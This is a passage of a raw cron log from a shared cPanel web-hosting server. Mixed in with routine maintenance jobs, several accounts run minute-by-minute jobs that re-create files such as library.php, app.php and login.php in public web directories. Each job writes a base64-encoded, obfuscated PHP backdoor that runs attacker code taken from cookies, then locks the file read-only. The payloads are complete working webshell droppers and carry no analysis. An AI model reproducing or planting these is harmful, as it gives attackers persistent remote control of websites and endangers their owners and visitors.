kpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:53:01 medusa CROND[11789]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:53:01 medusa CROND[11790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:53:01 medusa CROND[11792]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:53:01 medusa CROND[11793]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:53:01 medusa CROND[11788]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:54:01 medusa CROND[3536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:54:01 medusa CROND[3648]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:54:01 medusa CROND[3650]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:54:01 medusa CROND[3653]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:54:01 medusa CROND[3654]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:54:01 medusa CROND[3655]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:54:01 medusa CROND[3657]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:54:01 medusa CROND[3656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:54:01 medusa CROND[3664]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:54:01 medusa CROND[3665]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:54:01 medusa CROND[3666]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:54:01 medusa CROND[3672]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 04:54:01 medusa CROND[3673]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:55:01 medusa CROND[27360]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:55:01 medusa CROND[27413]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 04:55:01 medusa CROND[27512]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 04:55:01 medusa CROND[27513]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 04:55:01 medusa CROND[27514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:55:01 medusa CROND[27515]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 04:55:01 medusa CROND[27516]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 04:55:01 medusa CROND[27517]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 04:55:01 medusa CROND[27520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:55:01 medusa CROND[27521]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 04:55:01 medusa CROND[27522]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 04:55:01 medusa CROND[27530]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 04:55:01 medusa CROND[27531]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:55:01 medusa CROND[27525]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 04:55:01 medusa CROND[27532]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 04:55:01 medusa CROND[27541]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:55:01 medusa CROND[27542]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:55:01 medusa CROND[27544]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:55:01 medusa CROND[27545]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:55:01 medusa CROND[27546]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:55:01 medusa CROND[27547]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbS